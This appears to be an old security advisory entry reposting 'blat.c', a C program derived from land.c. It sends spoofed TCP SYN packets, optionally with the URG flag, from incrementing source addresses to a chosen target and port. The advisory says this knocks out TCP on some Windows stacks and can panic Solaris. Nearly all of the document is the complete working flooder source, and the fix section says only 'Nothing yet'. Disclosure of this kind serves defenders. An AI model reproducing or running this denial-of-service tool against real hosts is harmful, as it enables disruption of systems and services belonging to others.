COMMAND
TCP/IP
SYSTEMS AFFECTED
TCP/IP
PROBLEM
Loneguard posted following. blat.c was originally born out of
some firewall 'exercising' that he was doing. More on that at a
later date, but he came across an amusing bug in some windows IP
stacks and a nasty one in Solaris.
The code below is just land.c slightly modified to trigger the
bugs and can be used as a brain dead SYN flooder. To find land.c
or its variant, check:
http://oliver.efri.hr/~crv/security/bugs/NT/tcpip5.html
http://oliver.efri.hr/~crv/security/bugs/NT/tcpip6.html
The windows bug seems to have now been fixed but went like
this....after receiving a large number of TCP open requests left
in the SYN state, the TCP portion of the IP stack would cease to
work. ICMP, udp etc were fine but no new incoming or outgoing
TCP sessions work. Further research lead to the slowaris DoS
regarding its handling of TCP open requests with the urg flag
set. It would seem the IP stack reserves resources for such an
urgent open request and after receiving a large number, it ceases
to respond. To make things worse, if the admin of the box you blat
HUPs the controlling process, it panics.
/* blat.c by Loneguard 14/01/99 ( based on land.c by m3lt, FLC ) */
#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h>
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;
for(i=0;i<(length>>1);i++)
value+=data[i];
if((length&1)==1)
value+=(data[i]<<8);
value=(value&65535)+(value>>16);
return(~value);
}
int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct sockaddr_in sin2;
struct hostent * hoste;
int sock,i;
int foobart=1000;
u_char foobarflags=TH_SYN;
char buffer[40];
struct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
struct pseudohdr pseudoheader;
fprintf(stderr,"blat.c by Loneguard\n");
if(argc<4)
{
fprintf(stderr,"usage: %s [source IP] [target IP] [port] <reps> <urg>\n",argv[0]);
return(-1);
}
bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;
bzero(&sin2,sizeof(struct sockaddr_in));
sin2.sin_family=AF_INET;
if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin2.sin_addr,hoste->h_length);
else if((sin2.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}
if((hoste=gethostbyname(argv[2]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[2]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[2]);
return(-1);
}
if((sin.sin_port=htons(atoi(argv[3])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[3]);
return(-1);
}
if (argc>=5) foobart=atoi(argv[4]);
if (argc>=6) foobarflags=0x22;
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}
for ( i=0;i<foobart;i++ ) {
sin2.sin_addr.s_addr=htonl(ntohl(sin2.sin_addr.s_addr)+1);
bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=sizeof(struct iphdr)/4;
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->ttl=255;
ipheader->protocol=IP_TCP;
ipheader->saddr=sin2.sin_addr.s_addr;
ipheader->daddr=sin.sin_addr.s_addr;
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0xF1C);
/* tcpheader->th_flags=TH_SYN&&TH_URG; */
tcpheader->th_flags=foobarflags;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
tcpheader->th_urp=htons(666);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin2.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet\n");
return(-1);
}
}
fprintf(stderr,"%s:%s blated!\n",argv[2],argv[3]);
close(sock);
return(0);
}
SOLUTION
Nothing yet.